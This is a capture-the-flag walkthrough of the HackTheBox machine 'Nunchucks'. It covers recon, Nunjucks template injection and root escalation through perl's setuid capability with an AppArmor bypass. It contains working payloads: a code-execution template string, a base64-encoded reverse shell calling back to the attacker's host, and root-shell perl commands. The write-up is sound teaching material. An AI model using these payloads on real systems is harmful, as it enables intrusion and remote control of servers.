This HackTheBox can be found here.
Recon
Like always, we’ll start with a Nmap scan:
1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.11.122
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for 10.10.11.122
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
| 256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_ 256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80, 443, and 22 are open. Before we look at the web apps, lets add nunchucks.htb
to our /etc/hosts
file:
1
echo '10.10.11.122 nunchucks.htb' | sudo tee -a /etc/hosts
Let’s browse to the web app:
There is a signup
page, but we are unable to create an account:
Looking at burp, we see there is an api to handle the signup and login functionality:
Initial Access
I tried to find other API endpoints with GoBuster, but was unsuccessful. If testing on your own, make sure to instruct GoBuster to perform POST requests because the server will return a 404 for valid pages if requested with GET.
When looking at the page, it states that stores are coming soon:
Since we had no luck with directory fuzzing, let’s check for subdomains:
1
ffuf -u https://10.10.11.122 -H "Host: FUZZ.nunchucks.htb" -w /usr/share/wordlists/dirb/common.txt -mc 200 -ac
We found a subdomain named store.nunchucks.htb
. Let’s add it to our /etc/hosts
:
1
echo '10.10.11.122 store.nunchucks.htb' | sudo tee -a /etc/hosts
We see a single page that lets us subscribe to the service. If we submit the form, our input gets reflected back to us:
If we enter {{7*7}}
, the server returns 49
indicating that it is a vulnerable Server Side Template Injection:
We now need to determine what template engine is being used. I tried a RCE payload for Jinja2 (as this is a common engine), but it failed. I then followed the testing steps on hacktricks and found that the template engine is NUNJUCKS
. We can use the below payload to gain RCE:
1
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('whoami')\")()}}
Using the below payload, we can gain a reverse shell as david
:
1
2
3
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzEyMzQgMD4mMQ== | base64 -d | bash')\")()}}
We can now grab the user.txt
flag located at /home/david/user.txt
.
Privilege Escalation
Within the /opt
directory, there is a file named backup.pl
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
The file above uses POSIX::setuid(0)
which allows it to run as root. Linpeas also tells us perl has the cap_setuid
capability:
GTFOBins tells us that we use this capability to escalate. We can test by running the following command:
1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Running whoami works, but if we try to execute /bin/bash
like the GTFOBins example, nothing happens. I spent some time and found that this was due to the AppArmor policy. We can bypass it using the AppArmor shebang bypass:
1
2
3
4
5
6
7
echo '#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh"' > test.pl
chmod +x test.pl
./test.pl
After running the above, we gain a root shell and can grab root.txt
: